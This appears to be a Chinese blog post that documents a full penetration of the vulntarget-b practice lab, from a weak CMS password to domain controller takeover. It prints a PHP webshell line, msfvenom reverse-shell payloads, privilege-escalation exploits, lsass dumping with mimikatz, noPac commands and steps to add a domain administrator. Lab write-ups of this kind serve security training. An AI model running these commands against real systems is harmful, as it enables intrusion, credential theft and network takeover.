免责申明
本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
靶场介绍
vulntarget-b漏洞靶场是由vulntarget大佬团队自己设计搭建的靶场,其中涵盖Web漏洞、主机漏洞、域漏洞、工控漏洞等等。
靶场拓扑
以上拓扑图仅做参考,实战中的地址为以下配置:
kali攻击机:192.168.52.128
win11攻击机:192.168.52.1
win7应用服务器:192.168.52.129,10.0.20.30
win16域成员服务器:10.0.20.66,10.0.10.111
win19域控服
#靶场实战
将应用服务器的IP地址设置为与攻击机与Kali同一网段
###端口扫描
`nmap -sT 192.168.52.129 `
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619165402487-1655368522.png)
发现目标开启了80、81等端口,浏览器访问80、81端口
80端口
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619165512684-967541335.png)
81端口
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619165536079-1491561804.png)
针对81端口进行简单信息收集发现当前CMS是极致CMS
访问admin.php
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619165714120-823826256.png)
尝试弱口令登录,admin/admin123
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619165758243-386184069.png)
###漏洞利用
查看相关漏洞文库发现,极致CMS存在后台文件编辑插件 后台任意文件写入漏洞
漏洞文库参考:https://www.saury.net/957.html
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619170119381-2074419145.png)
直接下载、安装、配置
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619171929640-2095993171.png)
随便输入密码,进入编辑
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619171956796-1617240116.png)
再次输入密码就会看到源码,且可以修改
在index.php文件中直接加入一句话木马,例如eval($_POST[xiaoc]);
###获取webshell
添加成功后使用蚁剑连接
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619172916133-2079275738.png)
执行ipconfig时发现回显ret= 127
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240619173025718-238849707.png)
宝塔禁用函数,直接使用蚁剑插件就可以bypass
选择“绕过 disable functions”插件,使用插件中的“PHP7 GC UAF”
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620082927013-580845838.png)
使用“/sbin/ifconfig”查看当前网卡地址,存在双网卡
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620083023008-1757567161.png)
###MSF上线
利用MSF生成反向连接木马
> msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.52.129 LPORT=5555 -f elf > 5555.elf
将生成的木马上传到目标应用服务器
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620083549910-2110728094.png)
在kali攻击机上监听5555端口,并直接执行目标服务器上的木马
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620084158156-708109597.png)
获取MSF会话成功
###centos7 提权
由于当前权限是www权限,需要提升权限
寻找可以提权的模块,共找到7个模块
run post/multi/recon/local_exploit_suggester
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620084643619-212637574.png)
使用exploit/linux/local/sudo_baron_samedit模块提权,大佬的没有成功,使用解密的password登录服务器重写执行5555.elf文件,就可以获取到root权限
我这边直接获取到root权限
] Started reverse TCP handler on 0.0.0.0:5555
[] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. sudo 1.8.23 is a vulnerable build.
[] Writing '/tmp/NqGUgg.py' (23630 bytes) ...
[] A successful exploit will create a new root user msf with password lefipzbnlzhagow
[] Brute forcing ASLR (can take several minutes)...
[+] Success! Created new user msf with password lefipzbnlzhagow
[] Writing '/tmp/KDjo4bmF' (266 bytes) ...
[] Sending stage (3045380 bytes) to 192.168.52.129
[+] Deleted /tmp/NqGUgg.py
[+] Deleted /tmp/KDjo4bmF
[] Cleaning up /etc/passwd
[*] Meterpreter session 2 opened (192.168.52.128:5555 -> 192.168.52.129:59198) at 2024-06-20 09:05:19 +0800
meterpreter > getuid
Server username: root
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620091148785-1016967346.png)
使用模块:auxiliary/scanner/portscan/tcp 进行同C段端口探测
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.0.20.30: - 10.0.20.30:80 - TCP OPEN
[+] 10.0.20.30: - 10.0.20.30:21 - TCP OPEN
[+] 10.0.20.30: - 10.0.20.30:22 - TCP OPEN
[] 10.0.20.0/24: - Scanned 31 of 256 hosts (12% complete)
[] 10.0.20.0/24: - Scanned 61 of 256 hosts (23% complete)
[+] 10.0.20.66: - 10.0.20.66:8080 - TCP OPEN
[] 10.0.20.0/24: - Scanned 90 of 256 hosts (35% complete)
[] 10.0.20.0/24: - Scanned 119 of 256 hosts (46% complete)
[] 10.0.20.0/24: - Scanned 134 of 256 hosts (52% complete)
[] 10.0.20.0/24: - Scanned 155 of 256 hosts (60% complete)
[] 10.0.20.0/24: - Scanned 181 of 256 hosts (70% complete)
[] 10.0.20.0/24: - Scanned 211 of 256 hosts (82% complete)
[] 10.0.20.0/24: - Scanned 241 of 256 hosts (94% complete)
[] 10.0.20.0/24: - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620091605593-1914041081.png)
发现在同一网段10.0.20.66开启了8080端口
###frp使用
msf代理在蚁剑的地方,上传大一点的文件经常会报错,所以使用frp代理稳定一点
在kali运行frps,frps.ini配置文件为
[common]
bind_ip = 10.30.7.77 //kali IP
bind_port = 7000
在kali执行
`./frps -c frps.ini`
将frpc、socks.ini上传到目标服务器
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620093457870-2090454814.png)
socks.ini的配置如下:
[common]
server_addr = 192.168.52.128
server_port = 7001
[socks_proxy]
type = tcp
remote_port =8888
plugin = socks5
在目标服务器执行frpc
`./frpc -c socks.ini`
命令执行后,kali显示success
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620093703164-402470066.png)
代理frp流量访问8080端口,admin/Admin123进入后台
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620093847607-944849084.png)
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620093906892-720414456.png)
###拿下域成员win10
获取当前禅道版本号12.4.2,禅道 12.4.2 存在后台任意文件上传漏洞 #CNVD-C-2020-121325
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620093948842-918215099.png)
也可以通过访问http://10.0.20.66:8080/index.php?mode=getconfig获取版本信息
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620094131254-902050414.png)
在应用服务器上开启python的http服务
python -c 'import pty; pty.spawn("/bin/bash")' //交互式
python -m SimpleHTTPServer 4567
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620095145001-354865817.png)
将1.php一句话木马上传到应用服务器上
访问http://10.0.20.30:4567/1.php 可以直接下载木马
根据漏洞利用的要求需要对HTTP://10.0.20.30:4567/1.php进行Base64编码
HTTP://10.0.20.30:4567/1.php > aHR0cDovLzEwLjAuMjAuMzA6NDU2Ny8xLnBocA
base64在线编码网址:https://base64.us/
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620101411519-983895267.png)
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620095826436-701152544.png)
利用POC1,不成功
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620100335644-440935407.png)
利用poc2,保存成功
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620101436565-207613192.png)
蚁剑连接成功!!!!!需要使用frp socks5代理
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620104405777-1456781319.png)
###火绒免杀 MSF上线
生成反向连接木马
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.20.33 LPORT=5555 -f exe -o ceshi.exe`
对木马进行免杀处理
需要使用提权后的session会话添加路由,要不然不能反弹shell
进入session2执行如下命令:
run autoroute -s 10.0.20.66/24
run autoroute -s 10.0.20.30/24
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620130851957-1239107673.png)
添加路由
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620131240120-1996135188.png)
获取最低权限 iis apppool\zentao
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620131324854-1702236446.png)
###win10提权
使用MSF自带的提权工具
meterpreter > run post/multi/recon/local_exploit_suggester
Name Potentially Vulnerable? Check Result
1 exploit/windows/local/bits_ntlm_token_impersonation Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_fodhelper Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_sluihijack Yes The target appears to be vulnerable.
4 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The target appears to be vulnerable. Vulnerable Windows 10 v1909 build detected!
5 exploit/windows/local/cve_2020_1048_printerdemon Yes The target appears to be vulnerable.
6 exploit/windows/local/cve_2020_1337_printerdemon Yes The target appears to be vulnerable.
7 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
都尝试了好像不行
上传提权工具 cve-2021-1732.exe
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620133718046-1824880559.png)
直接用cve-2021-1732.exe执行木马
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620133946585-62246384.png)
成功获取管理员权限
sysinfo查看系统信息,当前系统为X64,需要做进程迁移到X64进程上
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620134846296-1988393116.png)
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
把进程迁移到 PID为844的进程
meterpreter > migrate 844
[] Migrating from 4488 to 844...
[] Migration completed successfully.
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620135137768-101579237.png)
加载kiwi:load kiwi
读取凭据:creds_all
获取到本地管理密码和域控密码
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620135513954-148268616.png)
####获取域成员密码另一种方法
原文章是没有读取到域成员密码的,在没有获取域成员密码时,可采取如下方法:
上传procdump64.exe
meterpreter > upload /home/kali/procdump64.exe
[] Uploading : /home/kali/procdump64.exe -> procdump64.exe
[] Uploaded 414.90 KiB of 414.90 KiB (100.0%): /home/kali/procdump64.exe -> procdump64.exe
[*] Completed : /home/kali/procdump64.exe -> procdump64.exe
执行命令下载lsass文件
`C:\Windows\system32>procdump64.exe -accepteula -ma lsass.exe lsass.dmp`
下载lsass到本地
`meterpreter > download lsass.dmp`
使用mimikatz.exe读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620142713922-34443176.png)
###获取域控win2016
CVE-2021-42287/CVE-2021-42278
得到win101的密码之后,使用最近的爆出的域内提权拿下域控,先上传nopac.exe
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620154127312-1353069799.png)
定位域控主机
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620154254889-1181639154.png)
获取到域控IP和hostname
获取票据
`noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount test2 /mPassword admin@123 /service cifs /ptt`
列域控目录
`dir \\WIN-UH20PRD3EAO.vulntarget.com\c$`
上传psexec,远程过去
添加一个域管账号
net user admin QWEasd@123 /add /domain
net group "Domain Admins" admin /add /domain
使用账密的psexec
PsExec64.exe \10.0.10.100 -u vulntarget\admin -p QWEasd@123 -s cmd.exe
开启win10远程,登录试试,修改防火墙策略
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
开启远程
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
再次运行,可以连接上
PsExec64.exe \10.0.10.100 -u vulntarget\admin -p QWEasd@123 -s cmd.exe
![](/i/l/?n=24&i=blog/1132254/202406/1132254-20240620154541556-770977083.png)
拿下域控服务器!!!!!!!
#关注公众号
![](/i/l/?n=24&i=blog/1132254/202401/1132254-20240110114805271-1217030864.png)
#关注公众号
![](/i/l/?n=24&i=blog/1132254/202401/1132254-20240110114805271-1217030864.png)
标签:实战,cnblogs,img2024,vulntarget,1132254,https,靶场,com,png
From: https://www.cnblogs.com/fuchangjiang/p/18258827